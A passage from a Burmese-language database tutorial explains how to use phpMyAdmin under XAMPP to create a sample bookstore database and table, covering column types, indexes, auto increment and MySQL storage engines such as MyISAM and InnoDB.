မတငွပ်ါဘးူ။ Command ိတကွြ မတှရ်ေခက်ြတက်ြပါတယ်။ ဒါိအကြာင့် လက်ြိတွ့အလပုလ်ပုတ်ဲ့ အခါမာှ Graphical
User Interface  ပါဝငတ်ဲ့  Admin Tools  ိတကုိွြ ပိုပပးီအသံုးများပါတယ်။  MySQL  အတက်ွြ  Official Admin
Tool  ကြိတာ့  MySQL Workbench  ပဖေစ်ပါတယ်။  XAMPP Install  လုပစ်ဉက်ြ  MySQL Workbench  ကုိြ
ထည့်သွငး်မိပးထားလို့  အသံုးပပုလိုရေင်  သီးပခားထည့်သွငး်ဖေိုလ့ိုအပပ်ါတယ်။  ိအာက်ြပါလပိစ်ာကြိန Download
ရေယူနိုငပ်ါတယ် - http://www.mysql.com/downloads/workbench 

http://www.mysql.com/downloads/workbench
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ပုံ (၇-ကြ) MySQL Workbench

တစ်ပခားိရေးွချယ်အသံုးပပု  စရောိတရွေှိပါိသးတယ်။  Navicat,  SQLYog,  dbForge  Studio,  phpMyAdmin,
Toad,  SQL Buddy, Adminer စသပဖေင့် ိရေးွချယ်စရောိတ ွအများကကီြးရေှိပါတယ်။

ဒီိ နရောမာှအသံုးပပုိဖောပ်ပမာှကြိတာ့ phpMyAdmin ပဖေစ်ပါတယ်။ phpMyAdmin ဟာ MySQL Workbench,
Navicat, SQLYog တို့လို့ အထးူလပု်ိ ဆာငခ်ျက်ြိတပွါဝငတ်ဲ့  Database IDE အဆင့် Tool တစ်ခုိ တာ့ မဟတု်
ပါဘးူ။ ဒါိပမယ့် PHP နဲ့ိ ရေးသားထားပပးီ Web Browser ရေှိယံုနဲအ့သံုးပပုနိုငတ်ဲ့ Web Based Tool တစ်ခပုဖေစ်ပါ
တယ်။ တနညး်အားပဖေင့် phpMyAdmin ကုိြယ်တိုငက်ြ Web App တစ်ခပုဖေစ်ပါတယ်။ Database ိတ၊ွ User ိတနွဲ့
Table Structure  ိတ ွစီမနံိုငတ်ဲ့ အိပခခလံပု်ိ ဆာငခ်ျက်ြိတအွားလုံး ပါဝငတ်ဲ့  Tool  တစ်ခပုဖေစ်ပါတယ်။ ထးူပခား
ချက်ြကြိတာ့  Web Hosting  အိတာမ်ျားများမာှ  phpMyAdmin  ကုိြ  Default MySQL Admin Tool  အပဖေစ်
ထည့်သွငး် ိပးထားိလရ့ေှိ ပါတယ်။ ဒါိအကြာင့် ကုိြယ်စက်ြထမဲာှသာမကြ အငတ်ာနက်ြမာှ လွှင့်တငထ်ားတဲ့  App  ကုိြ
စီမဖံေိုအ့တက်ွြလညး် အသံုးဝငပ်ါတယ်။
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7.2 - phpMyAdmin
phpMyAdmin စတငအ်သံုးပပုဖေို့အတက်ွြ Web Browser URL Bar မာှ http://localhost/ လို့ထည့်သွငး်လိုက်ြပါ။
XAMPP Dashboard  ိပါ်လာပါလမိ့်မယ။်  XAMPP Control Panel  မာှ  Apache  ိရော  MySQL  ကုိြပါ  Run
ထားိပးဖေို့လိုိ အကြာငး် ထပသ်တိိ ပးပါရေိစ။ XAMPP Dashboard ရေဲ့  Menu Bar ထကဲြ phpMyAdmin ကုိြ နှိပ်
လိုက်ြတဲ့အခါ  URL  ကြ  http://localhost/phpmyadmin/ လိုိ့ ပပာငး်သွားပပးီ  ပုံ  (၇-ခ) မာှ  ပပထားသလို
phpMyAdmin Interface  ကုိြ ိတွ့ရေမာှ ပဖေစ်ပါတယ်။ ိနာက်ြပိုငး်မာှ  XAMPP Dashboard  ကြိနတစ်ဆင့်သွား
ိနစရောမလိုပါဘးူ၊ URL မာှ တုိက်ြရုိက်ြ ထည့်သွငး်ပပးီလညး် သွားနိုငပ်ါတယ။်

ပုံ (၇-ခ) phpMyAdmin

phpMyAdmin Interface  ရေဲ့ဘယ်ဘက်ြမာှ  MySQL Database Server  မာှရေှိိ နတဲ့  Database စာရေငး်ကိြုိ ဖောပ်ပ
ထားပါတယ်။ ညာဘက်ြကြ Dashboard  ပုံစံ  Interface  ရေဲ့  အိပါ်ဆံုးမာှ  Location  ကုိြိဖောပ်ပိနပါတယ်။  Server
Icon ိလးရေဲ့ိဘးကြ localhost ဆုိတာ MySQL Server ရေဲ့  Host Name ပဖေစ်ပပးီ အ့ဲဒီိ နရောမာှပဲ Database နဲ့
Table  တို့ရေဲ့  Location  ကုိြလဲ လိုအပတ်ဲ့အခါိဖောပ်ပိပးမာှ ပဖေစ်ပါတယ်။  Location Bar  ိအာက်ြမာှ  Databases,
SQL, Status, Users စသပဖေင့် Options ိတတွနး်စီိပးထားပါတယ်။ Main Menu လ့ုိ ိခါ်ချငပ်ါတယ်။

ဒအီခန်းမာှ  နမနူာ  App  အိနနဲ့   အငတ်ာနက်ြကြိနစာအုပဝ်ယ်လို့ရေတဲ့  Online  Book  Store  တစ်ခုိ လာက်ြ
တည်ိ ဆာက်ြသွားချငပ်ါတယ။် အ့ဲဒီ  Store  အတက်ွြ အချက်ြအလက်ြိတသိွမး်ဆညး်နိုငဖ်ေို့  Database  ိတ ွ Table
ိတ ွ တည်ိ ဆာက်ြရေငး်နဲ့  phpMyAdmin  အသံုးပပုပုံကုိြ  ဆက်ြလက်ြိလလ့ာသွားမာှပါ။  Main  Menu  ထကဲြ
Databases ကုိြ နှိပလ်ိုက်ြရေင် Database စာရေငး်နဲတ့စ်ကွြ Database အသစ်တည်ိ ဆာက်ြနိုငမ်ယ့် Create database
Form တစ်ခပုါဝငမ်ာှပဖေစ်ပါတယ်။

http://localhost/phpmyadmin/
http://localhost/
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ပုံ (၇-ဂ) phpMyAdmin - Databases

Create  database Box  ထမဲာှ  store လို့ရိက်ုြထည့်ပပးီ  Create Button  ကုိြ  နှိပလ်ိုက်ြရေင်  store အမညန်ဲ့
Database တစ်ခတုည်ိ ဆာက်ြရေရေှိသွားိစမာှပဖေစ်ပါတယ်။ ဘယ်ဘက်ြပခမး်မာှပပိနတဲ့ Database စာရေငး်ထမဲာှ လက်ြ
တိလာတည် ိဆာက်ြလိုက်ြတဲ့  store Database ပါဝငလ်ာမာှပဖေစ်ပါတယ်။ Database အမညကုိ်ြ နှိပပ်ပးီ  store
Database ကုိြ ိရေးွချယ်ဝင်ိ ရောက်ြ လုိက်ြပါ။

မတ်ှချကြ် ။ ။ Database  တည်ိ ဆာကြစ်ဉမ်ာှ  Collation  ဆုိတ့ဲ ိရေးွစရော  Option  တစခ်ု ပါဝငတ်ာကြို သတိပပုမမိာှပါ။ လကြရ်ေှိ
Database ထဲမာှ အဂအင်္ဂလိပစ်ာိတွပ ဲသမိး်ဆညး်မာှဆုိရေင် ိရေးွမိနပဲ Default Option အတုိငး်ပဲ ထားလုိရ့ေပါတယ။် ပမနမ်ာစာိတွ
ဘာိတွ သမိး်ဆညး်မာှ ဆုိရေင်ိ နာ့  utf8_unicode_ci ဆုိတ့ဲ  Collation Option  ကြို ိရေးွချယ် ိပးထားသင့်ပါတယ။် ဒါမှ
ပမနမ်ာစာအပါအဝင် ယနူကီြဒု်  Character  ိတွိပါ်မာှ  Sorting  စပီခငး်၊  ရောှိဖေပွခငး် စတ့ဲ လုပင်နး်ိတွကြို  Database  ကြ ပိုမနှ်
ိအာင ်အလုပလု်ပ ်ိပးနိုငမ်ာှပါ။ 

ပုံ (၇-ဃ) phpMyAdmin - store Database

ဝင်ိ ရောက်ြလိုက်ြပပီးရေင် Location Bar မာှလညး် Host Name ိနာက်ြကြ store ဆုိတဲ့ Database Name ကုိြ တွဲ
ပပးီ ိဖောပ်ပိပးိနတာကုိြိတွ့ရေမာှပါ။  Database ကုိြ အိအကြာငး်အမျို းမျို းိအကြာင့် ပပနဖ်ေျက်ြလိုရေင်ိ တာ့ Main Menu
ထကဲြ Operations ကုိြဝငပ်ပီး Drop the Database (DROP) ဆုိတဲ့ Option ကုိြရောှပပးီ နှိပလ်ိုက်ြယံုပါပ။ဲ
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ဆက်ြလက်ြပပးီ  store Database  ထမဲာှ စာအုပ်အမျို းအစားိတမွတှသ်ားသိမ်းဆညး်နိုငဖ်ေို့  categories ဆုိတဲ့
အမညန်ဲ့  Table  တစ်ခတုည်ိ ဆာက်ြချငပ်ါတယ်။  ပုံ  (၇-ဃ) မာှိဖောပ်ပထား  တဲ့အတိုငး်  Create  table Form  ရေဲ့
Name Field မာှ categories လ့ုိိပးပပးီ Number of columns Field မာှ 5 လို့ ိပးလိုက်ြပါ။ ပပးီရေင် ိအာက်ြ
နားကြ  Go Button  ကုိြ နှိပလ်ိုက်ြတဲ့အခါ လိုအပတ်ဲ့  အချက်ြအလက်ြိတ ွထည့်သွင်းိပးနိုငဖ်ေို့အတက်ွြ  ပုံ  (၇-င) မာှ
ိဖောပ်ပထားသလို Table Wizard ိပါ်လာမာှပဖေစ်ပါတယ်။ 

ပုံ (၇-င) phpMyAdmin - Table Wizard

ပဖေည့်စရောိတတွစ်ပပုံကကီြးိပါ်လာလို့  မျက်ြစိိနာက်ြမသွားပါနဲ။့   ပုံ  (၇-င) မာှ  နပံါတစ်ဉတ်ပပ်ပထားတဲ့အတိုငး်
တစ်ပိုငး်စီခွပဲပးီ အကြည့်အကြပါမယ်။ ပပးီခဲ့တဲ့အဆင့်မာှ Number of columns ကုိြ 5 လို့သတမ်တှခ်ဲ့တဲ့အတက်ွြ Column
(၅) ခု သတမ်တှန်ိုငဖ်ေို့  Input ိတ ွ(၅) ဆင့်ပါဝငတ်ာကုိြိတွ့ရေမာှပဖေစ်ပါတယ်။ နပံါတ် (၁) အိနနဲ့  Column Name
ိတ ွသတမ်တှ်ိ ပးရေပါမယ်။ ကြျွန်ိ တာတ်ို့ကြ စာအုပ် အမျို းအစား အမညန်ဲ့ မတှခ်ျက်ြတို့ကုိြသိမ်းဆညး်လိုတာ ပဖေစ်ပါ
တယ်။  ဒါိအကြာင့်   ပုံ  (၇-င) နမနူာမာှ  (၅)  ဆင့်လုံးကုိြ  id,  name,  remark,  crated_date,
modified_date စသပဖေင့်  Column  Name  ိတကုိွြ  အစဉလ်ိုက်ြသတမ်တှထ်ားပါတယ်။  id,
created_date နဲ့  modified_date Column တို့ဟာ Table အားလုံးမာှ ပါဝငသ်င့်တဲ့ Column ိတပွဖေစ်ပါ
တယ်။ id Column ကြ အချက်ြအလက်ြ တစ်ခခုျငး်စီအတက်ွြ Unique ID ကုိြ ထည့်သွငး်သမိး် ဆညး်ဖေို့ပဖေစ်ပါတယ်။
Unique  ID  တစ်ခရုေှိ  ထားမသှက်ြဆုိငရ်ော  အချက်ြကုိြ  ရေယူပပငဆ်ငတ်ဲ့အခါ  တကိြျမှုရေှိိ စမာှပဖေစ်ပါတယ်။
created_date ကြိတာ့ သက်ြဆုိငရ်ောအချက်ြအလက်ြကုိြ  Table  ထမဲာှ ပထမဆံုးစတင် ထည့်သွငး်ခဲ့တဲ့ ရေက်ြစဲွနဲ့
အချနိကုိ်ြမတှသ်ားနိုငဖ်ေို့ပဖေစ်ပါတယ်။  modified_date ကြိတာ့  သက်ြဆုိငရ်ောအချက်ြအလက်ြကုိြ  ိနာက်ြ  ဆံုး
ပပငဆ်ငမ်ှု ပပုလပုခ်ဲ့တဲ့  ရေက်ြစဲွနဲ့  အချနိကုိ်ြမတှသ်ားနိုငဖ်ေိုပ့ါ။  ဒီ  created_date နဲ့  modified_date တို့ဟာ
App မာှိဖောပ်ပဖေို့အသံုး ဝငန်ိုငသ်လို သိမး်ဆညး်ထားတဲ့ အချက်ြအလက်ြနဲ့ ပတသ်က်ြပပးီ ပပဿနာတစ်စံု တစ်ရောရေှိခဲ့လို့
အိပဖေရောှဖေို့လိုတဲ့အခါမာှလညး် အိထာက်ြအကူြပဖေစ်ိစမာှ ပဖေစ်ပါတယ်။ ဒါိအကြာင့် အမနှတ်စ်ကြယ် သိမး် ဆညး်လိုတာ
ကြ အမည် (name) နဲ့ မတှခ်ျက်ြ (remark) တို့သာပဖေစ်ိပမယ့် id, created_date, modified_date တို့
နဲ့ိ ပါငး်ပပးီ  Column (၅) ခ ုသတမ်တှထ်ားပခငး်ပဖေစ်ပါ တယ်။
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Database  Name,  Table  Name  နဲ့  Column  Name  ိတအွားလုံးကုိြ  စာလုံးအိသးနဲပ့သဲတမ်တှထ်ားတာကုိြ
သတပိပုပါ။  Space  ထည့်သွငး်ဖေို့လိုအပတ်ဲ့ိ နရောမာှလညး်  Underscore  ကုိြ  အသံုးပပုထားပါတယ်။  MySQL
ကြိတာ့ ကြန့်သတမ်ထားပါဘးူ။  စာလုံး အကကီြးအိသး နစ်ှသက်ြသလိုအသံုးပပုနိုငပ်ါတယ်။ Space ိတလွညး် ထည့်
ချငရ်ေငထ်ည့်လို့ရေပါတယ်။ ဒါိပမယ့် လက်ြိတွ့မာှ အမည်ိ တကုိွြ အမျို းမျို းိရောိပးထားတဲ့အခါ စာလုံးိပါင်း အမာှး
ိအကြာင့်ပဖေစ်ိပါ်လာတဲ့  Error  ိတ ွ လိုက်ြရေငှး်ိနရေတာနဲ့  အချနိကု်ြနတ်က်ြပါတယ်။  ိရေးဟနတ်စ်ခကုိုြိရေးွချယ်ပပးီ
အမညအ်ားလုံးကြို ိရေးဟနတ်ညူီိ န ိအာငသ်တမ်တှထ်ားရေင် အမာှးသက်ြသာပပးီ အလပုပ်ိုတငွ်ိ စပါတယ်။ ိရေးဟန်
ိရေးွချယ်တဲ့အခါ ိရေးသားသူရေဲ့  ဆံုးပဖေတခ်ျက်ြသာအဓကိြပါ။ ဆက်ြလက်ြ ိဖောပ်ပမယ့်နမနူာိတမွာှိတာ့ စာလုံး အိသး
ချညး်ပသံုဲးတဲ့ ိရေးဟနကုိ်ြ ဆက်ြလက်ြအသံုးပပု သွားမာှပဖေစ်ပါတယ်။

နပံါတ်  (၂) အိနနဲ့  Column Type  ကုိြ ိရေးွချယ်ိပးရေမာှပဖေစ်ပါတယ်။  Select Box  ကုိြနှိပလ်ိုက်ြရေင်  MySQL  ကြ
လက်ြခတံဲ့ Data Type စာရေငး်ကိြုိ ဖောပ်ပိပးပါလမိ့်မယ်။ Data Type အမျို း (၂၀) ိကြျာရ်ေှိ ိပမယ့် phpMyAdmin
ကြ အသံုးအများဆုံး  (၄)  မျို းကုိြ  အိပါ်ဆံုးကြိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။  အ့ဲဒါိတ ွကြိတာ၊့  ကိြနး်ပပည့်ိ တသိွမး်ဖေို့
အတက်ွြ INT ၊ အိရေအတက်ွြအကြန့် အသတရ်ေှိတဲ့ စာလုံးိတ ွသိမး်ဖေို့အတက်ွြ VARCHAR,  စာိတအွများကကီြးသိမး်
နိုငဖ်ေိုအ့တက်ွြ  TEXT နဲ့  ရေက်ြစဲွသိမး်ဖေို့အတက်ွြ  DATE တို့ပပဲဖေစ်ပါတယ်။  နမနူာမာှ  id Column  အတက်ွြ  INT  လို့
သတမ်တှ်ိ ပး ထားပါတယ်။ name Column အတက်ွြ VARCHAR လ့ုိ သတမ်တှ် ထားပါတယ်။ remark Column
အတက်ွြိတာ ့TEXT သတမ်တှထ်ားပပးီ created_date နဲ့  modified_date တို့အတက်ွြ  DATETIME တို့ ကုိြ
Column Type အပဖေစ် သတမ်တှ်ိ ပးထားပါတယ်။ created_date နဲ့  modified_date တို့အတက်ွြ ရေက်ြစဲွနဲ့
အချနိတ်ွဲပပးီ သိမး်လိုတဲ့အတက်ွြ  DATETIME Column Type ကုိြ ိရေးွ ချယ်ထားပခငး်ပဖေစ်ပါတယ်။

နပံါတ်  (၃) အိနနဲ့စာလုံးအိရေအတက်ွြ  Length  ကုိြ  ိရေးွိပးရေမာှပဖေစ်ပါတယ်။  INT,  DATE,  TEXT နဲ့
DATETIME တို့ အတက်ွြ Length သတမ်တှမ်ိပးလညး်ရေပါတယ်။ ဒါိပမယ့် VARCHAR အတက်ွြိတာ့ သတမ်တှ်
ိပးရေပါတယ်။  VARCHAR အတက်ွြ လက်ြခနံိုငတ်ဲ့  Length ကြ 1 ကြိန 255 အတငွး်ပဖေစပ်ါတယ်။ ဒါိအကြာင့် ကြျန်
Column ိတ ွအတက်ွြ Length မသတ် မတှပ်ဲ  VARCHAR Column Type ိရေးွထားတဲ့  name Column ကုိြသာ
255 ဆုိတဲ့ Length သတမ်တှ်ိ ပးထားပခငး် ပဖေစ်ပါတယ်။

နပံါတ်  (၄)  မာှိတာ့  Column  ိတအွတက်ွြ  Index  Method  (သတမ်တှလ်ိုရေင်)  ိရေးွချယ်ိပးရေမာှပဖေစ်ပါတယ်။
သတမ်တှန်ိုငတ်ဲ့ Index Method ိတကွြိတာ့ PRIMARY, UNIQUE, INDEX နဲ့ FULLTEXT တို့ပပဲဖေစ်ပါတယ်။
Index ဆုိတာစာအုပ်ိ တရွေဲ့  ိနာက်ြဆံုးမာှ အကြ္ခရောစဉအ်ညွှနး် ထည့်ိ ပးထားသလိုပါပ။ဲ အကြ္ခရောစဉအ်ညွှန်းကုိြအကြည့်
ပပးီ  ဘယ်စာလုံးကိြု  ဘယ်စာမျက်ြနာှမာှ  သွားအကြည့်ရေမလဲ  သိနိုငတ်ဲ့အတက်ွြ  လိုချငတ်ဲ့အချက်ြအလက်ြကုိြပိုပပီး  ပမန်
ပမနဆ်န်ဆန် ရေရေှိိ စပါတယ်။ MySQL Index ကြလညး် ဒသီိဘာအတိုငး်ပဲ အလပုလ်ပုတ်ာပါ။ အချက်ြအလက်ြိတွ
ရေယူ ရောှိဖေရွေတာ ပိုပမနသွ်ားိအာင ်Index ိတ ွသတမ်တှ်ိ ပးထားနိုငပ်ခငး် ပဖေစ်ပါတယ်။

Index Method ိလးမျို းထကဲြ PRIMARY, UNIQUE နဲ့  INDEX တို့ဟာ အိပခခလံပု်ိ ဆာငပ်ုံ တညူအီကြပါတယ်။
ကွြာပခားချက်ြကြိတာ့  PRIMARY ဟာ  Index  အမညကုိ်ြ  PRIMARY လ့ုိိပးထားပပးီ  Table  တစ်ခမုာှ  PRIMARY
Index Column တစ်ခပုသဲတမ်တှ် ခငွ့်ပပုပခငး်ပဖေစ်ပါတယ်။ ပပးီိတာ့ PRIMARY Index သတမ်တှထ်ားတဲ့ Column
မာှ  ထည့်သွငး်တဲ့  အချက်ြအလက်ြိတဟွာ  ပပနမ်ထပရ်ေပါဘးူ။  ပပနထ်ပရ်ေင်  Table  ထဲကုိြ  လက်ြခထံည့်သွငး်ိပးမာှ
မဟတုပ်ါဘးူ။  ဥပမာ  -  ိကြျာငး်သားိတရွေဲ့  ခုံနပံါတ၊်  နိုငင်သံားမတှပ်ုံတငန်ပံါတစ်တဲ့  ပပနမ်ထပန်ိုငတ်ဲ့အချက်ြ
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အလက်ြမျို းိတ ွအတက်ွြသာအသံုးပပုသင့်ပါတယ်။  UNIQUE ကြ PRIMARY နဲ့ လုပ်ိ ဆာငပ်ုံ အားလုံးအတတူပူါပ။ဲ
ဒါိပမယ့် သူကြိတာ့  Column အိရေအတက်ွြကြန့်သတမ်ထားပါဘးူ။ Table တစ်ခမုာှ  UNIQUE Index သတမ်တှ်
ထားတဲ့ Column တစ်ခထုက်ြ ပိုရေှိနိုငပ်ါတယ်။ INDEX ကြလညး် UNIQUE လိုပဲ  Column အိရေအတက်ွြကြန့်သတ်
မထားပါဘးူ။ ဒါိပမယ့် သူကြိတာ့ အချက်ြအလက်ြိတ ွပပနထ်ပခ်ဲ့ရေငလ်ညး် လက်ြခပံါတယ်။ ိနာက်ြဆုံးတစ်ခပုဖေစ်တဲ့
FULLTEXT ကြိတာ့  တစ်ပခား  Method  ိတနွဲ့  အလပုလ်ပုပ်ုံမတပူါဘးူ။  Search  Engine  တစ်ခက့ဲုြသုိ့  Stop
Words ိတဖွေယ်ထတုပ်ခငး်၊ Noise Worlds ိတ ွဖေယ်ထတု်ိ ပးပခငး်၊ Rank သတမ်တှ်ိ ပးပခငး်တို့ကုိြပါ ပပုလပု်ိ ပး
နိုင်ိ အာင်  စီစဉထ်ားတဲ့  Index  Method  တစ်ခပုဖေစ်ပါတယ်။  ပုံ  (၇-စ) နမနူာမာှိတာ့  id Column  အတက်ွြ
PRIMARY လို့ သတမ်တှထ်ားပါတယ်။ ကြျန ်Column ိတအွတက်ွြတာ ့Index သတမ်တှမ်ထားပါဘးူ။

နပံါတ်  (၅) မာှ သတမ်တှထ်ားတာကြိတာ့  Auto Increment (AI)  ပဖေစ်ပါတယ်။  Auto Increment  ဆုိတာ အ့ဲဒီ
Column မာှ ပါဝငတ်ဲ့တနဖ်ေိုးိတကုိွြ ကြျွန်ိ တာတ်ိုကုိ့ြယ်တိုငထ်ည့်သွငး်စရောမလိုပဲ MySQL ကြ 1, 2, 3, 4  စသပဖေင့်
နပံါတစ်ဉန်ဲ့  အစဉအ်တိုင်း  အလိုအိလျှာက်ြထည့်သွငး်ိပးသွားမာှပဖေစ်ပါတယ်။  Auto  Increment  လို့  သတမ်တှ်
ထားတဲ့ အတက်ွြ  id Column  မာှ အချက်ြအလက်ြိတကုိွြ ထည့ိ် ပးဖေိုမ့လိုိ တာပ့ါဘးူ။  Database  ကြ နပံါတစ်ဉ်
အလိုလို ထည့်သွင်းိပးသွားပါလမိ့်မယ်။

နမနူာမာှထည့်သွငး်ထားသလိုပဲ  Table  တစ်ခတုည်ိ ဆာက်ြတိုငး်  PRIMARY နဲ့  Auto Increment  သတမ်တှထ်ား
တဲ့  id Column  တစ်ခု  အပမထဲည့်သွငး်သင့်ပါတယ်။  ဒနီညး်နဲ့  အလပုလ်ညး်မရှုပ်ိ စပဲ  id Column  ဟာ  Key
အပဖေစ်အသံုးချနိုငမ်ယ့်  Unique  တနဖ်ေိုးိတကုိွြ  သိမး်ဆည်းထားိပးိနမာှပဖေစ်ပါတယ်။  အချက်ြအလက်ြိတကုိွြရေယူ
ပခငး်၊ ပပငဆ်ငပ်ခငး်များ ပပုလပုတ်ဲ့အခါ သက်ြဆုိငရ်ော Key ID အသံုးပပုပပးီ တတိကိြျကြျ ိဆာငရ်ေက်ွြသွားနိုင်ိ စမာှပဖေစ်
ပါတယ်။ မအကြာခင်ိ ဖောပ်ပမယ့် နမနူာမာှ ဒသီိဘာသဘာဝကုိြ လက်ြိတွ့ိတွ့ ပမငရ်ေမာှပဖေစ်ပါတယ်။

နပံါတ်  (၆) အိနနဲ့သတမ်တှ်ိ ပးရေမာှကြိတာ့  Storage Engine  ပဖေစ်ပါတယ်။  Storage Engine  ဆုိတာ အချက်ြ
အလက်ြိတကုိွြ  ဖေနတ်းီပခင်း  (Create),  ရေယူပခငး်  (Read),  ပပငဆ်ငပ်ခင်း  (Update),  ပယ်ဖေျက်ြပခင်း  (Delete)
လပုင်နး် စဉကုိ်ြ ိဆာငရ်ေက်ွြိပးတဲ့ MySQL ရေဲ့အစိတအ်ပိုင်းတစ်ခပုဖေစ်ပါတယ်။ Create, Read, Update, Delete
လပုင်နး်စဉကုိ်ြ  CRUD  လို့အတိုိ ကြာက်ြ ိခါ်အကြပါတယ်။  ဆက်ြလက်ြိဖောပ်ပတဲ့အခါ  CRUD  ဆုိတဲ့အသံုးအနှံုးကြို
ိတွ့ရေင ် Create, Read, Update, Delete ကုိြ ဆုိလိုပခငး်ပဖေစ်တယ်လို့ မတှယူ်ိပးပါ။

MySQL  မာှ  Storage Engine  အမျို းမျို းရေှိပပးီ  Engine  တစ်ခပုခငး်စီမာှ အားသာချက်ြအားနညး်ချက်ြိတကုိွြယ်စီရေှိ
အကြပါတယ်။ ိရေးွချယ်အသံုးပပုနိုငတ်ဲ့ Engine ိတထွမဲာှ အဓကိြကြျတဲ့ Engine ိတကွြိတာ ့- 

• MyISAM
• InnoDB
• Archive
• Memory
• CSV
• NDB

- တို့ ပဖေစ်ပါတယ်။ 
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MyISAM 
MyISAM  ဟာ  MySQL 5.5  မတိုငခ်င်  Version  ိတမွာှ  Default Storage Engine  အပဖေစ်သတမ်တှထ်ားတဲ့
Engine  တစ်ခပုဖေစ်ပါတယ်။  Default  Engine  အပဖေစ်သတမ်တှထ်ားတဲ့အတက်ွြ  Table  ိတတွည်ိ ဆာက်ြတဲ့အခါ
Storage  Engine  မသတမ်တှခ်ဲ့ဘးူဆုိရေင်  MyISAM  ကုိြ  အသံုးပပုသွားမာှပဖေစ်ပါတယ်။  များပပားလတှဲ့  အချက်ြ
အလက်ြိတသိွမး်ဆည်းဖေို့အတက်ွြ  အသံုးပပုနိုငတ်ဲ့  Engine  တစ်ခပုဖေစ်ပပးီ  အပမင့်ဆုံးလက်ြခနံိုငတ်ဲ့  ပမာဏကြိတာ့
(Table  တစ်ခကုိုြ) 256TB ပဖေစ်ပါတယ်။  FULLTEXT Index Support  လပုတ်ဲ့  Storage Engine ပဖေစ်ပပးီ  Table
ိတွိ ရော Index ိတကုိွြပါ ိနရောယူသက်ြသာိအာင် Compress လုပ်ိ ပးနိုင် ပါတယ်။ FULLTEXT Support ပါဝင်
တဲ့အတက်ွြ ကြျွန်ိ တာတ်ို့  Project  ိတမွာှ  Search  လပု်ိ ဆာငခ်ျက်ြရေဖေို့  အစအဆံုး ကုိြယတ်ိုင်ိ ရေးသားိနစရောမလို
ိတာပ့ဲ ရောှိဖေပွခငး်နဲ့ ရောှိဖေမွှုရေလဒကုိ်ြကုိြကြည်မီှု အဆင့်သတမ်တှ်ိ ပးတဲ့  Ranking လပု်ိ ဆာငခ်ျက်ြကုိြ MySQL ကြ
လပု်ိ ပးသွားမာှ ပဖေစ်ပါတယ်။

လျှငပ်မနမ်ှု Performance  ပိုငး်မာှလညး် အိတာ်ိ လးိကြာငး်ပပးီ  MyISAM  ကုိြ  ိနရောယူသက်ြသာမှုနဲ့  အပမနန်ှံုး
ိကြာငး်မနွဖ်ေို့ကြို အထးူအိလးိပးတည်ိ ဆာက်ြထားတဲ့ Storage Engine အပဖေစ်မတှယူ်နိုငပ်ါတယ်။

InnoDB 
InnoDB ဟာ MySQL 5.5  နဲ့ိ နာက်ြပိုငး်မာှ  Default Storage Engine ပဖေစ်လာတဲ့  Engine တစ်ခပုဖေစ်ပါတယ်။
ACID Compliance  ပဖေစ်ပပးီ  Transaction  Support  လပုတ်ဲ့  Storage  Engine  ပဖေစ်ပါတယ်။  ACID  ဆုိတာ
Atomicity,  Consistency,  Isolation  နဲ့  Durability  စတဲ့စွမး်ိဆာငရ်ေည်ိ တနွဲ့  အချက်ြအလက်ြခိုငမ်ာလုံပခုံ
ိသချာမှုကုိြ  စစ်ိဆးတဲ့  Data Integrity Test  တစ်မျို းကုိြိခါ်တာပဖေစ်ပါတယ်။  InnoDB  ဟာ  ACID Test  ကုိြ
ိအာငပ်မငတ်ဲ့စွမး်ိဆာငရ်ေညန်ဲ့ ပပည့်စံုတဲ့  Engine တစ်ခပုါ။ 

ကုိြငတ်ယ်ွိဆာငရ်ေက်ွြိပးနိုငတ်ဲ့ အပမင့်ဆံုးပမာဏကြိတာ့ (Table File တစ်ခကုိုြ) 64TB ပဖေစ်ပါတယ်။ MyISAM
လို Speed ကုိြ အထးူအိလးိပးထားတဲ့ Engine တစ်ခမုဟတု်ိ ပမယ့် သူ့ိ နရောနဲ့သူ Performance ိကြာငး်ိအာင်
ိဆာငရ်ေက်ွြထားတဲ့  အစီအမံိ တပွါဝငလ်ို့  သင့်တင့်နဲ့အပမနန်ှုနး်ရေှိပါတယ်။ မလူကြ  FULLTEXT Index  လပု်ိ ဆာင်
ချက်ြဟာ MyISAM Engine တစ်ခတုညး်မာှသာ ပါဝငခ်ဲ့ိ ပမယ့်၊ ိနာက်ြပိုငး် Version ိတမွာှိတာ့ InnoDB မာှ
လညး် FULLTEXT လုပ်ိ ဆာငခ်ျက်ြ ပါဝငလ်ာခဲ့ပပ ီပဖေစ်ပါတယ်။

Row Level Locking, Non-locking Read နဲ့ Multi-version တို့ကုိြ Support လပုတ်ဲ့ Storage Engine တစ်ခု
ပဖေစ်ပပးီ Foreign Key, Rollback, Roll-forward စတဲ့လပု်ိ ဆာငခ်ျက်ြိတလွညး် ပါဝငတ်ဲ့အတက်ွြ InnoDB ဟာ
MySQL Storage Engine ိတထွမဲာှ Feature အစံုဆံုး Engine တစ်ခပုဖေစ်ပါတယ်။ 

Archive
Archive  Storage  Engine  ကြိတာအ့လနွက်ကီြးမားတဲ့  Data  ပမာဏကုိြ လက်ြခံိ ဆာငရ်ေက်ွြနိုငဖ်ေို့ဖေနတ်းီ  ထားတဲ့
Engine  တစ်ခပုပဲဖေစ်ပါတယ်။ အချက်ြအလက်ြိတကုိွြ ထည့်သွငး်လိုက်ြတာနဲ့  အလို အိလျာက်ြ  Compress  လပု်ိ ပး
ပပးီ  ပပနလ်ညရ်ေယူတဲ့အချနိမ်ာှ  အလိုအိလျာက်ြ  Decompress  ပပနလ်ပု်ိ ပးပါတယ်။  Data  ပမာဏများများသိမး်
ထားဖေို့လိုအပပ်ပီး အပမပဲပနလ်ညဖ်ေတယူ်ိနမာှ မဟတုတ်ဲ့  Data ိတအွတက်ွြ သင့်ိ တာပ်ါတယ်။ 
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များများသိမ်းနိုငဖ်ေိုကုိ့ြသာအဓကိြရေညရ်ေယ်ွထားတဲ့အတက်ွြ  တစ်ချို ့ိသာ  လုပ်ိ ဆာငခ်ျက်ြိတွိ တာ့  မရေရေှိနိုငပ်ါဘးူ။
Index  လပုလ်ို့မရေပါဘးူ။  အချက်ြအလက်ြိတ ွ ပပနလ်ညပ်ပငဆ်ငခ်ငွ့်မိပးပါဘးူ။  ဒါိပမယ့်  Compression
ိကြာငး်ိကြာငး်  လပုထ်ားတဲ့အတက်ွြ  MyISAM  ထက်ြိတာင်  ိနရောယူပိုသက်ြသာပါိသးတယ်။ ဥပမာ  -  ိနစ့ဉ်
